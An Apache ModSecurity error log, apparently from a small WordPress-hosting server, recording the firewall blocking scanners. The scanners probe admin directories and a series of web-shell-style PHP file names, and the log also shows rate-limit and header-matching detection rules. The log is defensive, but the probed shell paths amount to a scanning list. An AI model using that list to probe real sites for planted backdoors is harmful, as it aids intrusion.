[Mon Jan 05 18:27:16.020028 2026] [:error] [pid 6680:tid 6691] [client 156.146.33.76:33872] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/"] [unique_id "aVuSBKE58uNoazzTmx3SugAAAQk"]
[Mon Jan 05 18:27:16.607056 2026] [:error] [pid 6680:tid 6683] [client 156.146.33.76:33882] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/"] [unique_id "aVuSBKE58uNoazzTmx3SvAAAAQE"]
[Mon Jan 05 18:27:17.194428 2026] [:error] [pid 6680:tid 6689] [client 156.146.33.76:33894] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/"] [unique_id "aVuSBaE58uNoazzTmx3SvwAAAQc"]
[Mon Jan 05 18:27:17.778465 2026] [:error] [pid 54081:tid 54090] [client 156.146.33.76:33898] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/"] [unique_id "aVuSBVL4jLgtF-b9w4dqpQAAAUY"]
[Mon Jan 05 18:27:18.366987 2026] [:error] [pid 5534:tid 5550] [client 156.146.33.76:33900] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aVuSBpNs9XmbR6unB0ycyAAAAAc"]
[Mon Jan 05 18:27:18.947371 2026] [:error] [pid 6680:tid 6705] [client 156.146.33.76:33908] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aVuSBqE58uNoazzTmx3SwgAAARc"]
[Mon Jan 05 18:27:19.528357 2026] [:error] [pid 5536:tid 5604] [client 156.146.33.76:33918] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aVuSBwRtMZNG6xI8yDzG6QAAAIc"]
[Mon Jan 05 18:27:20.117904 2026] [:error] [pid 5534:tid 5543] [client 156.146.33.76:33928] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aVuSCJNs9XmbR6unB0ycywAAAAA"]
[Mon Jan 05 18:27:20.700871 2026] [:error] [pid 28407:tid 28430] [client 156.146.33.76:33936] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/"] [unique_id "aVuSCNercd3ptydUzM0rugAAAZM"]
[Mon Jan 05 18:27:21.281946 2026] [:error] [pid 5534:tid 5565] [client 156.146.33.76:33946] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/"] [unique_id "aVuSCZNs9XmbR6unB0yczQAAABY"]
[Mon Jan 05 18:27:21.860308 2026] [:error] [pid 5534:tid 5567] [client 156.146.33.76:33958] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/"] [unique_id "aVuSCZNs9XmbR6unB0yczwAAABg"]
[Mon Jan 05 18:27:22.446385 2026] [:error] [pid 5632:tid 5659] [client 156.146.33.76:33968] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/"] [unique_id "aVuSCoN3ZWvlOh-nbt-r1wAAAM8"]
[Mon Jan 05 18:59:50.720972 2026] [:error] [pid 6680:tid 6701] [client 111.172.249.49:38083] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVuZpqE58uNoazzTmx3bdgAAARM"]
[Mon Jan 05 19:57:12.335497 2026] [:error] [pid 5535:tid 5576] [client 20.205.40.135:39496] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVunGGnkedMjhVX0PTVrEwAAAEY"]
[Mon Jan 05 19:57:18.419203 2026] [:error] [pid 5535:tid 5572] [client 20.205.40.135:23231] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVunHmnkedMjhVX0PTVrFQAAAEI"]
[Mon Jan 05 19:57:21.928488 2026] [:error] [pid 5632:tid 5658] [client 20.205.40.135:23441] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVunIYN3ZWvlOh-nbt_AMgAAAM4"]
[Mon Jan 05 19:57:24.549632 2026] [:error] [pid 5632:tid 5661] [client 20.205.40.135:23786] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVunJIN3ZWvlOh-nbt_AMwAAANE"]
[Mon Jan 05 19:57:25.136047 2026] [:error] [pid 5535:tid 5586] [client 20.205.40.135:29582] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aVunJWnkedMjhVX0PTVrIAAAAFA"]
[Mon Jan 05 19:57:26.326897 2026] [:error] [pid 5535:tid 5578] [client 20.205.40.135:22890] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aVunJmnkedMjhVX0PTVrIwAAAEg"]
[Mon Jan 05 19:57:28.156350 2026] [:error] [pid 6680:tid 6686] [client 20.205.40.135:23766] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aVunKKE58uNoazzTmx3rhwAAAQQ"]
[Mon Jan 05 19:57:30.093387 2026] [:error] [pid 6680:tid 6706] [client 20.205.40.135:25764] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aVunKqE58uNoazzTmx3riwAAARg"]
[Mon Jan 05 19:57:31.445041 2026] [:error] [pid 5534:tid 5564] [client 20.205.40.135:44911] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aVunK5Ns9XmbR6unB0y_DwAAABU"]
[Mon Jan 05 19:57:32.874792 2026] [:error] [pid 54081:tid 54092] [client 20.205.40.135:44892] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aVunLFL4jLgtF-b9w4d-CgAAAUg"]
[Mon Jan 05 19:57:33.694856 2026] [:error] [pid 54081:tid 54105] [client 20.205.40.135:2923] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aVunLVL4jLgtF-b9w4d-DAAAAVU"]
[Mon Jan 05 19:57:34.835110 2026] [:error] [pid 5535:tid 5590] [client 20.205.40.135:22019] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aVunLmnkedMjhVX0PTVrKAAAAFQ"]
[Mon Jan 05 19:57:40.155464 2026] [:error] [pid 5534:tid 5547] [client 20.205.40.135:27802] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aVunNJNs9XmbR6unB0y_EwAAAAQ"]
[Mon Jan 05 19:57:45.904442 2026] [:error] [pid 5534:tid 5552] [client 20.205.40.135:27812] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aVunOZNs9XmbR6unB0y_FQAAAAk"]
[Mon Jan 05 19:57:57.262032 2026] [:error] [pid 54081:tid 54100] [client 20.205.40.135:8060] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kure.php"] [unique_id "aVunRVL4jLgtF-b9w4d-FAAAAVA"]
[Mon Jan 05 19:58:01.567109 2026] [:error] [pid 5536:tid 5610] [client 20.205.40.135:7762] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kure.php"] [unique_id "aVunSQRtMZNG6xI8yDzi_gAAAI0"]
[Mon Jan 05 19:58:08.440304 2026] [:error] [pid 5535:tid 5573] [client 20.205.40.135:60179] [client 20.205.40.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kure.php"] [unique_id "aVunUGnkedMjhVX0PTVrOwAAAEM"]
[Mon Jan 05 20:06:48.385916 2026] [:error] [pid 5536:tid 5620] [client 43.130.67.33:60156] [client 43.130.67.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVupWARtMZNG6xI8yDzmzgAAAJc"]
[Mon Jan 05 21:51:32.562658 2026] [:error] [pid 5632:tid 5662] [client 148.66.155.24:36468] [client 148.66.155.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.66.155.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvB5IN3ZWvlOh-nbt_hWwAAANI"]
[Mon Jan 05 21:54:56.208602 2026] [:error] [pid 5534:tid 5560] [client 200.150.96.66:40790] [client 200.150.96.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.150.96.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvCsJNs9XmbR6unB0z3-wAAABE"]
[Mon Jan 05 21:59:09.448277 2026] [:error] [pid 5536:tid 5612] [client 208.112.26.138:38818] [client 208.112.26.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.112.26.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvDrQRtMZNG6xI8yDwP5gAAAI8"]
[Mon Jan 05 22:54:29.736910 2026] [:error] [pid 5632:tid 5644] [client 172.192.68.8:10879] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVvQpYN3ZWvlOh-nbt_yswAAAMA"]
[Mon Jan 05 22:54:31.246371 2026] [:error] [pid 5535:tid 5580] [client 172.192.68.8:44189] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVvQp2nkedMjhVX0PTWbGAAAAEo"]
[Mon Jan 05 22:54:32.987267 2026] [:error] [pid 54081:tid 54085] [client 172.192.68.8:32616] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVvQqFL4jLgtF-b9w4evIAAAAUE"]
[Mon Jan 05 22:54:34.206652 2026] [:error] [pid 5534:tid 5558] [client 172.192.68.8:62081] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVvQqpNs9XmbR6unB0wPbAAAAA8"]
[Mon Jan 05 22:54:38.558182 2026] [:error] [pid 5632:tid 5668] [client 172.192.68.8:32258] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aVvQroN3ZWvlOh-nbt_yuAAAANg"]
[Mon Jan 05 22:54:40.150414 2026] [:error] [pid 5534:tid 5551] [client 172.192.68.8:31287] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aVvQsJNs9XmbR6unB0wPcQAAAAg"]
[Mon Jan 05 22:54:47.466323 2026] [:error] [pid 6680:tid 6693] [client 172.192.68.8:33842] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aVvQt6E58uNoazzTmx0kSwAAAQs"]
[Mon Jan 05 22:54:49.188055 2026] [:error] [pid 6680:tid 6686] [client 172.192.68.8:19135] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aVvQuaE58uNoazzTmx0kTgAAAQQ"]
[Mon Jan 05 22:54:50.633185 2026] [:error] [pid 5632:tid 5668] [client 172.192.68.8:32801] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aVvQuoN3ZWvlOh-nbt_yxgAAANg"]
[Mon Jan 05 22:54:51.322279 2026] [:error] [pid 5632:tid 5662] [client 172.192.68.8:34251] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aVvQu4N3ZWvlOh-nbt_yxwAAANI"]
[Mon Jan 05 22:54:52.967697 2026] [:error] [pid 5534:tid 5562] [client 172.192.68.8:2209] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aVvQvJNs9XmbR6unB0wPiQAAABM"]
[Mon Jan 05 22:54:53.759806 2026] [:error] [pid 5534:tid 5557] [client 172.192.68.8:31266] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aVvQvZNs9XmbR6unB0wPigAAAA4"]
[Mon Jan 05 22:54:54.788760 2026] [:error] [pid 5632:tid 5663] [client 172.192.68.8:32822] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aVvQvoN3ZWvlOh-nbt_yywAAANM"]
[Mon Jan 05 22:54:58.114473 2026] [:error] [pid 5534:tid 5554] [client 172.192.68.8:32309] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aVvQwpNs9XmbR6unB0wPkgAAAAs"]
[Mon Jan 05 22:54:59.055952 2026] [:error] [pid 28407:tid 28424] [client 172.192.68.8:2654] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aVvQw9ercd3ptydUzM17AwAAAY0"]
[Mon Jan 05 22:55:00.932670 2026] [:error] [pid 6680:tid 6702] [client 172.192.68.8:34298] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aVvQxKE58uNoazzTmx0kZAAAARQ"]
[Mon Jan 05 22:55:02.423845 2026] [:error] [pid 54081:tid 54092] [client 172.192.68.8:27061] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kure.php"] [unique_id "aVvQxlL4jLgtF-b9w4evMgAAAUg"]
[Mon Jan 05 22:55:04.124727 2026] [:error] [pid 5534:tid 5543] [client 172.192.68.8:2224] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kure.php"] [unique_id "aVvQyJNs9XmbR6unB0wPmgAAAAA"]
[Mon Jan 05 22:55:08.649435 2026] [:error] [pid 5534:tid 5554] [client 172.192.68.8:30153] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kure.php"] [unique_id "aVvQzJNs9XmbR6unB0wPnwAAAAs"]
[Mon Jan 05 22:55:11.394526 2026] [:error] [pid 5632:tid 5665] [client 172.192.68.8:30206] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kure.php"] [unique_id "aVvQz4N3ZWvlOh-nbt_y2gAAANU"]
[Mon Jan 05 22:55:12.648413 2026] [:error] [pid 5536:tid 5621] [client 172.192.68.8:34243] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaje.php"] [unique_id "aVvQ0ARtMZNG6xI8yDwfjQAAAJg"]
[Mon Jan 05 22:55:13.682436 2026] [:error] [pid 28407:tid 28434] [client 172.192.68.8:28797] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaje.php"] [unique_id "aVvQ0dercd3ptydUzM17EAAAAZc"]
